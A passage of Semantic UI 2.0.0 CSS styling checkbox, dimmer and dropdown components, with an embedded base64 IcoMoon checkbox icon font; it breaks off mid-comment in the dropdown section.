.box:after,\n.ui.radio.checkbox label:after {\n  top: 1px;\n  left: 0px;\n  width: 15px;\n  height: 15px;\n  border-radius: 500rem;\n  -webkit-transform: scale(0.46666667);\n  -ms-transform: scale(0.46666667);\n  transform: scale(0.46666667);\n  background-color: rgba(0, 0, 0, 0.87);\n}\n\n/* Active */\n\n.ui.radio.checkbox input[type=\"radio\"]:checked ~ .box:before,\n.ui.radio.checkbox input[type=\"radio\"]:checked ~ label:before {\n  background-color: #ffffff;\n}\n\n.ui.radio.checkbox input[type=\"radio\"]:checked ~ .box:after,\n.ui.radio.checkbox input[type=\"radio\"]:checked ~ label:after {\n  background-color: rgba(0, 0, 0, 0.95);\n}\n\n/*--------------\n     Slider\n---------------*/\n\n.ui.slider.checkbox {\n  min-height: 1.25rem;\n}\n\n/* Input */\n\n.ui.slider.checkbox input[type=\"checkbox\"],\n.ui.slider.checkbox input[type=\"radio\"] {\n  width: 3.5rem;\n  height: 1.25rem;\n}\n\n/* Label */\n\n.ui.slider.checkbox .box,\n.ui.slider.checkbox label {\n  padding-left: 4.5rem;\n  line-height: 1rem;\n  color: rgba(0, 0, 0, 0.4);\n}\n\n/* Line */\n\n.ui.slider.checkbox .box:before,\n.ui.slider.checkbox label:before {\n  display: block;\n  position: absolute;\n  content: '';\n  border: none !important;\n  left: 0em;\n  z-index: 1;\n  top: 0.4rem;\n  background-color: rgba(0, 0, 0, 0.05);\n  width: 3.5rem;\n  height: 0.21428571rem;\n  -webkit-transform: none;\n  -ms-transform: none;\n  transform: none;\n  border-radius: 500rem;\n  -webkit-transition: background 0.3s ease;\n  transition: background 0.3s ease;\n}\n\n/* Handle */\n\n.ui.slider.checkbox .box:after,\n.ui.slider.checkbox label:after {\n  background: #ffffff -webkit-linear-gradient(transparent, rgba(0, 0, 0, 0.05));\n  background: #ffffff linear-gradient(transparent, rgba(0, 0, 0, 0.05));\n  position: absolute;\n  content: '' !important;\n  opacity: 1;\n  z-index: 2;\n  border: none;\n  box-shadow: 0px 1px 2px 0 rgba(34, 36, 38, 0.15), 0px 0px 0px 1px rgba(34, 36, 38, 0.15) inset;\n  width: 1.5rem;\n  height: 1.5rem;\n  top: -0.25rem;\n  left: 0em;\n  -webkit-transform: none;\n  -ms-transform: none;\n  transform: none;\n  border-radius: 500rem;\n  -webkit-transition: left 0.3s ease;\n  transition: left 0.3s ease;\n}\n\n/* Focus */\n\n.ui.slider.checkbox input[type=\"checkbox\"]:focus ~ .box:before,\n.ui.slider.checkbox input[type=\"checkbox\"]:focus ~ label:before,\n.ui.slider.checkbox input[type=\"radio\"]:focus ~ .box:before,\n.ui.slider.checkbox input[type=\"radio\"]:focus ~ label:before {\n  background-color: rgba(0, 0, 0, 0.15);\n  border: none;\n}\n\n/* Hover */\n\n.ui.slider.checkbox .box:hover,\n.ui.slider.checkbox label:hover {\n  color: rgba(0, 0, 0, 0.8);\n}\n\n.ui.slider.checkbox .box:hover::before,\n.ui.slider.checkbox label:hover::before {\n  background: rgba(0, 0, 0, 0.15);\n}\n\n/* Active */\n\n.ui.slider.checkbox :checked ~ .box,\n.ui.slider.checkbox :checked ~ label {\n  color: rgba(0, 0, 0, 0.95);\n}\n\n.ui.slider.checkbox :checked ~ .box:before,\n.ui.slider.checkbox :checked ~ label:before {\n  background-color: #545454;\n}\n\n.ui.slider.checkbox :checked ~ .box:after,\n.ui.slider.checkbox :checked ~ label:after {\n  left: 2rem;\n}\n\n/*--------------\n     Toggle\n---------------*/\n\n.ui.toggle.checkbox {\n  min-height: 1.5rem;\n}\n\n/* Input */\n\n.ui.toggle.checkbox input[type=\"checkbox\"],\n.ui.toggle.checkbox input[type=\"radio\"] {\n  width: 3.5rem;\n  height: 1.5rem;\n}\n\n/* Label */\n\n.ui.toggle.checkbox .box,\n.ui.toggle.checkbox label {\n  min-height: 1.5rem;\n  padding-left: 4.5rem;\n  color: rgba(0, 0, 0, 0.87);\n}\n\n.ui.toggle.checkbox label {\n  padding-top: 0.15em;\n}\n\n/* Switch */\n\n.ui.toggle.checkbox .box:before,\n.ui.toggle.checkbox label:before {\n  display: block;\n  position: absolute;\n  content: '';\n  z-index: 1;\n  -webkit-transform: none;\n  -ms-transform: none;\n  transform: none;\n  border: none;\n  top: 0rem;\n  background: rgba(0, 0, 0, 0.05);\n  width: 3.5rem;\n  height: 1.5rem;\n  border-radius: 500rem;\n}\n\n/* Handle */\n\n.ui.toggle.checkbox .box:after,\n.ui.toggle.checkbox label:after {\n  background: #ffffff -webkit-linear-gradient(transparent, rgba(0, 0, 0, 0.05));\n  background: #ffffff linear-gradient(transparent, rgba(0, 0, 0, 0.05));\n  position: absolute;\n  content: '' !important;\n  opacity: 1;\n  z-index: 2;\n  border: none;\n  box-shadow: 0px 1px 2px 0 rgba(34, 36, 38, 0.15), 0px 0px 0px 1px rgba(34, 36, 38, 0.15) inset;\n  width: 1.5rem;\n  height: 1.5rem;\n  top: 0rem;\n  left: 0em;\n  border-radius: 500rem;\n  -webkit-transition: background 0.3s ease, left 0.3s ease;\n  transition: background 0.3s ease, left 0.3s ease;\n}\n\n.ui.toggle.checkbox input[type=\"checkbox\"] ~ .box:after,\n.ui.toggle.checkbox input[type=\"checkbox\"] ~ label:after,\n.ui.toggle.checkbox input[type=\"radio\"] ~ .box:after,\n.ui.toggle.checkbox input[type=\"radio\"] ~ label:after {\n  left: -0.05rem;\n}\n\n/* Focus */\n\n.ui.toggle.checkbox input[type=\"checkbox\"]:focus ~ .box:before,\n.ui.toggle.checkbox input[type=\"checkbox\"]:focus ~ label:before,\n.ui.toggle.checkbox input[type=\"radio\"]:focus ~ .box:before,\n.ui.toggle.checkbox input[type=\"radio\"]:focus ~ label:before {\n  background-color: rgba(0, 0, 0, 0.15);\n  border: none;\n}\n\n/* Hover */\n\n.ui.toggle.checkbox .box:hover::before,\n.ui.toggle.checkbox label:hover::before {\n  background-color: rgba(0, 0, 0, 0.15);\n  border: none;\n}\n\n/* Active */\n\n.ui.toggle.checkbox input:checked ~ .box,\n.ui.toggle.checkbox input:checked ~ label {\n  color: rgba(0, 0, 0, 0.95);\n}\n\n.ui.toggle.checkbox input:checked ~ .box:before,\n.ui.toggle.checkbox input:checked ~ label:before {\n  background-color: #2185d0;\n}\n\n.ui.toggle.checkbox input:checked ~ .box:after,\n.ui.toggle.checkbox input:checked ~ label:after {\n  left: 2.15rem;\n}\n\n/*******************************\n            Variations\n*******************************/\n\n/*--------------\n     Fitted\n---------------*/\n\n.ui.fitted.checkbox .box,\n.ui.fitted.checkbox label {\n  padding-left: 0em !important;\n}\n\n.ui.fitted.toggle.checkbox,\n.ui.fitted.toggle.checkbox {\n  width: 3.5rem;\n}\n\n.ui.fitted.slider.checkbox,\n.ui.fitted.slider.checkbox {\n  width: 3.5rem;\n}\n\n/*******************************\n         Theme Overrides\n*******************************/\n\n@font-face {\n  font-family: 'Checkbox';\n  src: url(\"data:application/x-font-ttf;charset=utf-8;base64,AAEAAAALAIAAAwAwT1MvMg8SBD8AAAC8AAAAYGNtYXAYVtCJAAABHAAAAFRnYXNwAAAAEAAAAXAAAAAIZ2x5Zn4huwUAAAF4AAABYGhlYWQGPe1ZAAAC2AAAADZoaGVhB30DyAAAAxAAAAAkaG10eBBKAEUAAAM0AAAAHGxvY2EAmgESAAADUAAAABBtYXhwAAkALwAAA2AAAAAgbmFtZSC8IugAAAOAAAABknBvc3QAAwAAAAAFFAAAACAAAwMTAZAABQAAApkCzAAAAI8CmQLMAAAB6wAzAQkAAAAAAAAAAAAAAAAAAAABEAAAAAAAAAAAAAAAAAAAAABAAADoAgPA/8AAQAPAAEAAAAABAAAAAAAAAAAAAAAgAAAAAAADAAAAAwAAABwAAQADAAAAHAADAAEAAAAcAAQAOAAAAAoACAACAAIAAQAg6AL//f//AAAAAAAg6AD//f//AAH/4xgEAAMAAQAAAAAAAAAAAAAAAQAB//8ADwABAAAAAAAAAAAAAgAANzkBAAAAAAEAAAAAAAAAAAACAAA3OQEAAAAAAQAAAAAAAAAAAAIAADc5AQAAAAABAEUAUQO7AvgAGgAAARQHAQYjIicBJjU0PwE2MzIfAQE2MzIfARYVA7sQ/hQQFhcQ/uMQEE4QFxcQqAF2EBcXEE4QAnMWEP4UEBABHRAXFhBOEBCoAXcQEE4QFwAAAAABAAABbgMlAkkAFAAAARUUBwYjISInJj0BNDc2MyEyFxYVAyUQEBf9SRcQEBAQFwK3FxAQAhJtFxAQEBAXbRcQEBAQFwAAAAABAAAASQMlA24ALAAAARUUBwYrARUUBwYrASInJj0BIyInJj0BNDc2OwE1NDc2OwEyFxYdATMyFxYVAyUQEBfuEBAXbhYQEO4XEBAQEBfuEBAWbhcQEO4XEBACEm0XEBDuFxAQEBAX7hAQF20XEBDuFxAQEBAX7hAQFwAAAQAAAAIAAHRSzT9fDzz1AAsEAAAAAADRsdR3AAAAANGx1HcAAAAAA7sDbgAAAAgAAgAAAAAAAAABAAADwP/AAAAEAAAAAAADuwABAAAAAAAAAAAAAAAAAAAABwQAAAAAAAAAAAAAAAIAAAAEAABFAyUAAAMlAAAAAAAAAAoAFAAeAE4AcgCwAAEAAAAHAC0AAQAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAOAK4AAQAAAAAAAQAIAAAAAQAAAAAAAgAHAGkAAQAAAAAAAwAIADkAAQAAAAAABAAIAH4AAQAAAAAABQALABgAAQAAAAAABgAIAFEAAQAAAAAACgAaAJYAAwABBAkAAQAQAAgAAwABBAkAAgAOAHAAAwABBAkAAwAQAEEAAwABBAkABAAQAIYAAwABBAkABQAWACMAAwABBAkABgAQAFkAAwABBAkACgA0ALBDaGVja2JveABDAGgAZQBjAGsAYgBvAHhWZXJzaW9uIDIuMABWAGUAcgBzAGkAbwBuACAAMgAuADBDaGVja2JveABDAGgAZQBjAGsAYgBvAHhDaGVja2JveABDAGgAZQBjAGsAYgBvAHhSZWd1bGFyAFIAZQBnAHUAbABhAHJDaGVja2JveABDAGgAZQBjAGsAYgBvAHhGb250IGdlbmVyYXRlZCBieSBJY29Nb29uLgBGAG8AbgB0ACAAZwBlAG4AZQByAGEAdABlAGQAIABiAHkAIABJAGMAbwBNAG8AbwBuAC4AAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\") format('truetype');\n}\n\n/* Checkmark */\n\n.ui.checkbox label:after,\n.ui.checkbox .box:after {\n  font-family: 'Checkbox';\n}\n\n/* Checked */\n\n.ui.checkbox input:checked ~ .box:after,\n.ui.checkbox input:checked ~ label:after {\n  content: '\\e800';\n}\n\n/* Indeterminate */\n\n.ui.checkbox input:indeterminate ~ .box:after,\n.ui.checkbox input:indeterminate ~ label:after {\n  font-size: 12px;\n  content: '\\e801';\n}\n\n/*  UTF Reference\n.check:before { content: '\\e800'; }\n.dash:before  { content: '\\e801'; }\n.plus:before { content: '\\e802'; }\n*/\n\n/*******************************\n         Site Overrides\n*******************************/\n/*!\n * # Semantic UI 2.0.0 - Dimmer\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n/*******************************\n            Dimmer\n*******************************/\n\n.dimmable {\n  position: relative;\n}\n\n.ui.dimmer {\n  display: none;\n  position: absolute;\n  top: 0em !important;\n  left: 0em !important;\n  width: 100%;\n  height: 100%;\n  text-align: center;\n  vertical-align: middle;\n  background-color: rgba(0, 0, 0, 0.85);\n  opacity: 0;\n  line-height: 1;\n  -webkit-animation-fill-mode: both;\n  animation-fill-mode: both;\n  -webkit-animation-duration: 0.5s;\n  animation-duration: 0.5s;\n  -webkit-transition: background-color 0.5s linear;\n  transition: background-color 0.5s linear;\n  -webkit-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  user-select: none;\n  will-change: opacity;\n  z-index: 1000;\n}\n\n/* Dimmer Content */\n\n.ui.dimmer > .content {\n  width: 100%;\n  height: 100%;\n  display: table;\n  -webkit-user-select: text;\n  -moz-user-select: text;\n  -ms-user-select: text;\n  user-select: text;\n}\n\n.ui.dimmer > .content > * {\n  display: table-cell;\n  vertical-align: middle;\n  color: #ffffff;\n}\n\n/* Loose Coupling */\n\n.ui.segment > .ui.dimmer {\n  border-radius: inherit !important;\n}\n\n/*******************************\n            States\n*******************************/\n\n.animating.dimmable:not(body),\n.dimmed.dimmable:not(body) {\n  overflow: hidden;\n}\n\n.dimmed.dimmable > .ui.animating.dimmer,\n.dimmed.dimmable > .ui.visible.dimmer,\n.ui.active.dimmer {\n  display: block;\n  opacity: 1;\n}\n\n.ui.disabled.dimmer {\n  width: 0 !important;\n  height: 0 !important;\n}\n\n/*******************************\n           Variations\n*******************************/\n\n/*--------------\n      Page\n---------------*/\n\n.ui.page.dimmer {\n  position: fixed;\n  -webkit-transform-style: '';\n  transform-style: '';\n  -webkit-perspective: 2000px;\n  perspective: 2000px;\n  -webkit-transform-origin: center center;\n  -ms-transform-origin: center center;\n  transform-origin: center center;\n}\n\nbody.animating.in.dimmable,\nbody.dimmed.dimmable {\n  overflow: hidden;\n}\n\nbody.dimmable > .dimmer {\n  position: fixed;\n}\n\n/*--------------\n    Blurring\n---------------*/\n\n.blurring.dimmable > :not(.dimmer) {\n  -webkit-filter: blur(0px) grayscale(0);\n  filter: blur(0px) grayscale(0);\n  -webkit-transition: 800ms -webkit-filter ease, 800ms filter ease;\n  transition: 800ms filter ease;\n}\n\n.blurring.dimmed.dimmable > :not(.dimmer) {\n  -webkit-filter: blur(5px) grayscale(0.7);\n  filter: blur(5px) grayscale(0.7);\n}\n\n/* Dimmer Color */\n\n.blurring.dimmable > .dimmer {\n  background-color: rgba(0, 0, 0, 0.6);\n}\n\n.blurring.dimmable > .inverted.dimmer {\n  background-color: rgba(255, 255, 255, 0.6);\n}\n\n/*--------------\n    Aligned\n---------------*/\n\n.ui.dimmer > .top.aligned.content > * {\n  vertical-align: top;\n}\n\n.ui.dimmer > .bottom.aligned.content > * {\n  vertical-align: bottom;\n}\n\n/*--------------\n    Inverted\n---------------*/\n\n.ui.inverted.dimmer {\n  background-color: rgba(255, 255, 255, 0.85);\n}\n\n.ui.inverted.dimmer > .content > * {\n  color: #ffffff;\n}\n\n/*--------------\n     Simple\n---------------*/\n\n/* Displays without javascript */\n\n.ui.simple.dimmer {\n  display: block;\n  overflow: hidden;\n  opacity: 1;\n  width: 0%;\n  height: 0%;\n  z-index: -100;\n  background-color: rgba(0, 0, 0, 0);\n}\n\n.dimmed.dimmable > .ui.simple.dimmer {\n  overflow: visible;\n  opacity: 1;\n  width: 100%;\n  height: 100%;\n  background-color: rgba(0, 0, 0, 0.85);\n  z-index: 1;\n}\n\n.ui.simple.inverted.dimmer {\n  background-color: rgba(255, 255, 255, 0);\n}\n\n.dimmed.dimmable > .ui.simple.inverted.dimmer {\n  background-color: rgba(255, 255, 255, 0.85);\n}\n\n/*******************************\n         Theme Overrides\n*******************************/\n\n/*******************************\n        User Overrides\n*******************************/\n/*!\n * # Semantic UI 2.0.0 - Dropdown\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n/*******************************\n            Dropdown\n*******************************/\n\n.ui.dropdown {\n  cursor: pointer;\n  position: relative;\n  display: inline-block;\n  tap-highlight-color: rgba(0, 0, 0, 0);\n  outline: none;\n  text-align: left;\n  -webkit-transition: box-shadow 0.1s ease, width 0.1s ease;\n  transition: box-shadow 0.1s ease, width 0.1s ease;\n}\n\n/*******************************\n            Content\n*******************************/\n\n/*--------------\n      Menu\n---------------*/\n\n.ui.dropdown .menu {\n  cursor: auto;\n  position: absolute;\n  display: none;\n  outline: none;\n  top: 100%;\n  min-width: -webkit-max-content;\n  min-width: -moz-max-content;\n  min-width: max-content;\n  margin: 0em;\n  padding: 0em 0em;\n  background: #ffffff;\n  font-size: 1em;\n  text-shadow: none;\n  text-align: left;\n  box-shadow: 0px 2px 3px 0px rgba(34, 36, 38, 0.15);\n  border: 1px solid rgba(34, 36, 38, 0.15);\n  border-radius: 0.28571429rem;\n  -webkit-transition: opacity 0.1s ease;\n  transition: opacity 0.1s ease;\n  z-index: 11;\n  will-change: transform, opacity;\n}\n\n.ui.dropdown .menu > * {\n  white-space: nowrap;\n}\n\n/*--------------\n  Hidden Input\n---------------*/\n\n.ui.dropdown > input:not(.search):first-child,\n.ui.dropdown > select {\n  display: none !important;\n}\n\n/*--------------\n Dropdown Icon\n---------------*/\n\n.ui.dropdown > .dropdown.icon {\n  position: relative;\n  width: auto;\n  margin: 0em 0em 0em 1em;\n}\n\n.ui.dropdown .menu > .item .dropdown.icon {\n  width: auto;\n  float: right;\n  margin: 0em 0em 0em 1em;\n}\n\n.ui.dropdown .menu > .item .dropdown.icon + .text {\n  margin-right: 1em;\n}\n\n/*--------------\n      Text\n---------------*/\n\n.ui.dropdown > .text {\n  display: inline-block;\n  -webkit-transition: none;\n  transition: none;\n}\n\n/*--------------\n    Menu Item\n---------------*/\n\n.ui.dropdown .menu > .item {\n  position: relative;\n  cursor: pointer;\n  display: block;\n  border: none;\n  height: auto;\n  text-align: left;\n  border-top: none;\n  line-height: 1em;\n  color: rgba(0, 0, 0, 0.87);\n  padding: 0.71428571rem 1.14285714rem !important;\n  font-size: 1rem;\n  text-transform: none;\n  font-weight: normal;\n  box-shadow: none;\n  -webkit-touch-callout: none;\n}\n\n.ui.dropdown .menu > .item:first-child {\n  border-top-width: 0px;\n}\n\n/*--------------\n  Floated Content\n---------------*/\n\n.ui.dropdown > .text > [class*=\"right floated\"],\n.ui.dropdown .menu .item > [class*=\"right floated\"] {\n  float: right !important;\n  margin-right: 0em !important;\n  margin-left: 1em !important;\n}\n\n.ui.dropdown > .text > [class*=\"left floated\"],\n.ui.dropdown .menu .item > [class*=\"left floated\"] {\n  float: left !important;\n  margin-left: 0em !important;\n  margin-right: 1em !important;\n}\n\n.ui.dropdown .menu .item > .icon.floated,\n.ui.dropdown .menu .item > .flag.floated,\n.ui.dropdown .menu .item > .image.floated,\n.ui.dropdown .menu .item > img.floated {\n  margin-top: 0em;\n}\n\n/*--------------\n  Menu Divider\n---------------*/\n\n.ui.dropdown .menu > .header {\n  margin: 1rem 0rem 0.75rem;\n  padding: 0em 1.14285714rem;\n  color: rgba(0, 0, 0, 0.85);\n  font-size: 0.78571429em;\n  font-weight: bold;\n  text-transform: uppercase;\n}\n\n.ui.dropdown .menu > .divider {\n  border-top: 1px solid rgba(34, 36, 38, 0.1);\n  height: 0em;\n  margin: 0.5em 0em;\n}\n\n.ui.dropdown .menu > .input {\n  width: auto;\n  display: -webkit-box;\n  display: -webkit-flex;\n  display: -ms-flexbox;\n  display: flex;\n  margin: 1.14285714rem 0.71428571rem;\n  min-width: 10rem;\n}\n\n.ui.dropdown .menu > .header + .input {\n  margin-top: 0em;\n}\n\n.ui.dropdown .menu > .input:not(.transparent) input {\n  padding: 0.5em 1em;\n}\n\n.ui.dropdown .menu > .input:not(.transparent) .button,\n.ui.dropdown .menu > .input:not(.transparent) .icon,\n.ui.dropdown .menu > .input:not(.transparent) .label {\n  padding-top: 0.5em;\n  padding-bottom: 0.5em;\n}\n\n/*-----------------\n  Item Description\n-------------------*/\n\n.ui.dropdown > .text > .description,\n.ui.dropdown .menu > .item > .description {\n  float: right;\n  margin: 0em 0em 0em 1em;\n  color: rgba(0, 0, 0, 0.4);\n}\n\n/*-----------------\n       Message\n-------------------*/\n\n.ui.dropdown .menu > .message {\n  padding: 0.71428571rem 1.14285714rem;\n  font-weight: normal;\n}\n\n.ui.dropdown .menu > .message:not(.ui) {\n  color: rgba(0, 0, 0, 0.4);\n}\n\n/*--------------\n    Sub Menu\n---------------*/\n\n.ui.dropdown .menu .menu {\n  top: 0% !important;\n  left: 100% !important;\n  right: auto !important;\n  margin: 0em 0em 0em -0.5em !important;\n  border-radius: 0.28571429rem !important;\n  z-index: 21 !important;\n}\n\n/* Hide Arrow */\n\n.ui.dropdown .menu .menu:after {\n  display: none;\n}\n\n/*--------------\n   Sub Elements\n---------------*/\n\n/* Icons / Flags / Labels / Image */\n\n.ui.dropdown > .text > .icon,\n.ui.dropdown > .text > .label,\n.ui.dropdown > .text > .flag,\n.ui.dropdown > .text > img,\n.ui.dropdown > .text > .image {\n  margin-top: 0em;\n}\n\n.ui.dropdown .menu > .item > .icon,\n.ui.dropdown .menu > .item > .label,\n.ui.dropdown .menu > .item > .flag,\n.ui.dropdown .menu > .item > .image,\n.ui.dropdown .menu > .item > img {\n  margin-top: 0em;\n}\n\n.ui.dropdown > .text > .icon,\n.ui.dropdown > .text > .label,\n.ui.dropdown > .text > .flag,\n.ui.dropdown > .text > img,\n.ui.dropdown > .text > .image,\n.ui.dropdown .menu > .item > .icon,\n.ui.dropdown .menu > .item > .label,\n.ui.dropdown .menu > .item > .flag,\n.ui.dropdown .menu > .item > .image,\n.ui.dropdown .menu > .item > img {\n  margin-left: 0em;\n  float: none;\n  margin-right: 0.71428571rem;\n}\n\n/*--------------\n     Image\n---------------*/\n\n.ui.dropdown > .text > img,\n.ui.dropdown > .text > .image,\n.ui.dropdown .menu > .item > .image,\n.ui.dropdown .menu > .item > img {\n  display: inline-block;\n  vertical-align: middle;\n  width: auto;\n  max-height: 2em;\n}\n\n/*******************************\n            Coupling\n*******************************/\n\n/*--------------\n      Menu\n---------------*/\n\n/* Remove Menu Item Divider */\n\n.ui.dropdown .ui.menu > .item:before,\n.ui.menu .ui.dropdown .menu > .item:before {\n  display: none;\n}\n\n/* Prevent Menu Item Border */\n\n.ui.menu .ui.dropdown .menu .active.item {\n  border-left: none;\n}\n\n/* Automatically float dropdown menu right on last menu item */\n\n.ui.menu .right.menu .dropdown:last-child .menu,\n.ui.menu .right.dropdown.item .menu,\n.ui.buttons > .ui.dropdown:last-child .menu {\n  left: auto;\n  right: 0em;\n}\n\n/*--------------\n      Label\n---------------*/\n\n/* Dropdown Menu */\n\n.ui.label.dropdown .menu {\n  min-width: 100%;\n}\n\n/*--------------\n     Button\n---------------*/\n\n/* No Margin On Icon Button */\n\n.ui.dropdown.icon.button > .dropdown.icon {\n  margin: 0em;\n}\n\n.ui.button.dropdown .menu {\n  min-width: 100%;\n}\n\n/*******************************\n              Types\n*******************************/\n\n/*--------------\n    Selection\n---------------*/\n\n/* Displays like a select box */\n\n.ui.selection.dropdown {\n  cursor: pointer;\n  word-wrap: break-word;\n  line-height: 1em;\n  white-space: normal;\n  outline: 0;\n  -webkit-transform: rotateZ(0deg);\n  transform: rotateZ(0deg);\n  min-width: 14em;\n  min-height: 2.7142em;\n  background: #ffffff;\n  display: inline-block;\n  padding: 0.78571429em 2.6em 0.78571429em 1em;\n  color: rgba(0, 0, 0, 0.87);\n  box-shadow: none;\n  border: 1px solid rgba(34, 36, 38, 0.15);\n  border-radius: 0.28571429rem;\n  -webkit-transition: box-shadow 0.1s ease, width 0.1s ease;\n  transition: box-shadow 0.1s ease, width 0.1s ease;\n}\n\n.ui.selection.dropdown.visible,\n.ui.selection.dropdown.active {\n  z-index: 10;\n}\n\nselect.ui.dropdown {\n  height: 38px;\n  padding: 0.5em;\n  border: 1px solid rgba(34, 36, 38, 0.15);\n  visibility: visible;\n}\n\n.ui.selection.dropdown > .search.icon,\n.ui.selection.dropdown > .delete.icon,\n.ui.selection.dropdown > .dropdown.icon {\n  cursor: pointer;\n  position: absolute;\n  top: auto;\n  width: auto;\n  z-index: 3;\n  margin: -0.78571429em;\n  padding: 0.78571429em;\n  right: 1em;\n  opacity: 0.8;\n  -webkit-transition: opacity 0.1s ease;\n  transition: opacity 0.1s ease;\n}\n\n/* Compact */\n\n.ui.compact.selection.dropdown {\n  min-width: 0px;\n}\n\n/*  Selection Menu */\n\n.ui.selection.dropdown .menu {\n  overflow-x: hidden;\n  overflow-y: auto;\n  -webkit-backface-visibility: hidden;\n  backface-visibility: hidden;\n  -webkit-overflow-scrolling: touch;\n  border-top-width: 0px !important;\n  width: auto;\n  outline: none;\n  margin: 0px -1px;\n  min-width: calc(100% +  2px );\n  width: calc(100% +  2px );\n  border-radius: 0em 0em 0.28571429rem 0.28571429rem;\n  box-shadow: 0px 2px 3px 0px rgba(34, 36, 38, 0.15);\n  -webkit-transition: opacity 0.1s ease;\n  transition: opacity 0.1s ease;\n}\n\n.ui.selection.dropdown .menu:after,\n.ui.selection.dropdown .menu:before {\n  display: none;\n}\n\n/*--------------\n    Message\n---------------*/\n\n.ui.selection.dropdown .menu > .message {\n  padding: 0.71428571rem 1.14285714rem;\n}\n\n@media only screen and (max-width: 767px) {\n  .ui.selection.dropdown .menu {\n    max-height: 7.58571429rem;\n  }\n}\n\n@media only screen and (min-width: 768px) {\n  .ui.selection.dropdown .menu {\n    max-height: 10.11428571rem;\n  }\n}\n\n@media only screen and (min-width: 992px) {\n  .ui.selection.dropdown .menu {\n    max-height: 15.17142857rem;\n  }\n}\n\n@media only screen and (min-width: 1920px) {\n  .ui.selection.dropdown .menu {\n    max-height: 20.22857143rem;\n  }\n}\n\n/* Menu Item */\n\n.ui.selection.dropdown .menu > .item {\n  border-top: 1px solid #fafafa;\n  padding: 0.71428571rem 1.14285714rem !important;\n  white-space: normal;\n  word-wrap: normal;\n}\n\n/* Hover */\n\n.ui.selection.dropdown:hover {\n  border-color: rgba(34, 36, 38, 0.35);\n  box-shadow: none;\n}\n\n/* Active */\n\n.ui.selection.active.dropdown {\n  border-color: rgba(34, 36, 38, 0.35);\n  box-shadow: 0px 2px 3px 0px rgba(34, 36, 38, 0.15);\n}\n\n.ui.selection.active.dropdown .menu {\n  border-color: rgba(34, 36, 38, 0.35);\n  box-shadow: 0px 2px 3px 0px rgba(34, 36, 38, 0.15);\n}\n\n/* Focus */\n\n.ui.selection.dropdown:focus {\n  border-color: rgba(34, 36, 38, 0.35);\n  box-shadow: none;\n}\n\n.ui.selection.dropdown:focus .menu {\n  border-color: rgba(34, 36, 38, 0.35);\n  box-shadow: 0px 2px 3px 0px rgba(34, 36, 38, 0.15);\n}\n\n/* Visible */\n\n.ui.selection.visible.dropdown > .text:not(.default) {\n  font-weight: normal;\n  color: rgba(0, 0, 0, 0.8);\n}\n\n/* Visible Hover */\n\n.ui.selection.active.dropdown:hover {\n  border-color: rgba(34, 36, 38, 0.35);\n  box-shadow: 0px 2px 3px 0px rgba(34, 36, 38, 0.15);\n}\n\n.ui.selection.active.dropdown:hover .menu {\n  border-color: rgba(34, 36, 38, 0.35);\n  box-shadow: 0px 2px 3px 0px rgba(34, 36, 38, 0.15);\n}\n\n/* Dropdown Icon */\n\n.ui.active.selection.dropdown > .dropdown.icon,\n.ui.visible.selection.dropdown > .dropdown.icon {\n  opacity: 1;\n  z-index: 3;\n}\n\n/* Connecting Border */\n\n.ui.active.selection.dropdown {\n  border-bottom-left-radius: 0em !important;\n  border-bottom-right-radius: 0em !important;\n}\n\n/*--------------\n   Searchable\n---------------*/\n\n/* Search Selection */\n\n.ui.search.dropdown {\n  min-width: '';\n}\n\n/* Search Dropdown */\n\n.ui.search.dropdown > input.search {\n  background: none transparent !important;\n  border: none !important;\n  box-shadow: none !important;\n  cursor: pointer;\n  top: 0em;\n  left: 0em;\n  width: 100%;\n  outline: none;\n  -webkit-tap-highlight-color: rgba(255, 255, 255, 0);\n  padding: inherit;\n}\n\n/* Text Layering */\n\n.ui.search.dropdown > input.search {\n  position: absolute;\n  z-index: 2;\n}\n\n.ui.search.dropdown > .text {\n  cursor: text;\n  position: relative;\n  z-index: 3;\n}\n\n/* Search Selection */\n\n.ui.search.selection.dropdown > input.search {\n  line-height: 1.2142em;\n  padding: 0.67861429em 2.6em 0.67861429em 1em;\n}\n\n/* Active/Visible Search */\n\n.ui.search.dropdown.active > input.search,\n.ui.search.dropdown.visible > input.search {\n  cursor: auto;\n}\n\n.ui.search.dropdown.active > .text,\n.ui.search.dropdown.visible > .text {\n  pointer-events: none;\n}\n\n/* Filtered Text */\n\n.ui.active.search.dropdown input.search:focus + .text .icon,\n.ui.active.search.dropdown input.search:focus + .text .flag {\n  opacity: 0.45;\n}\n\n.ui.active.search.dropdown input.search:focus + .text {\n  color: rgba(0, 0, 0, 0.4) !important;\n}\n\n/* Search Menu */\n\n.ui.search.dropdown .menu {\n  overflow-x: hidden;\n  overflow-y: auto;\n  -webkit-backface-visibility: hidden;\n  backface-visibility: hidden;\n  -webkit-overflow-scrolling: touch;\n}\n\n@media only screen and (max-width: 767px) {\n  .ui.search.dropdown .menu {\n    max-height: 7.58571429rem;\n  }\n}\n\n@media only screen and (min-width: 768px) {\n  .ui.search.dropdown .menu {\n    max-height: 10.11428571rem;\n  }\n}\n\n@media only screen and (min-width: 992px) {\n  .ui.search.dropdown .menu {\n    max-height: 15.17142857rem;\n  }\n}\n\n@media only screen and (min-width: 1920px) {\n  .ui.search.dropdown .menu {\n    max-height: 20.22857143rem;\n  }\n}\n\n/*--------------\n    Multiple\n---------------*/\n\n/* Multiple Selection */\n\n.ui.multiple.dropdown {\n  padding: 0.22620476em 2.6em 0.22620476em 0.28571429em;\n}\n\n.ui.multiple.dropdown .menu {\n  cursor: auto;\n}\n\n/* Multiple Search Selection */\n\n.ui.multiple.search.dropdown,\n.ui.multiple.search.dropdown > input.search {\n  cursor: text;\n}\n\n/* Selection Label */\n\n.ui.multiple.dropdown > .label {\n  -webkit-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  user-select: none;\n  display: inline-block;\n  vertical-align: baseline;\n  white-space: normal;\n  font-size: 1em;\n  padding: 0.35714286em 0.71428571em;\n  margin: 0.21428571em 0.28571429rem 0.21428571em 0em;\n  box-shadow: 0px 0px 0px 1px rgba(34, 36, 38, 0.15) inset;\n}\n\n/* Dropdown Icon 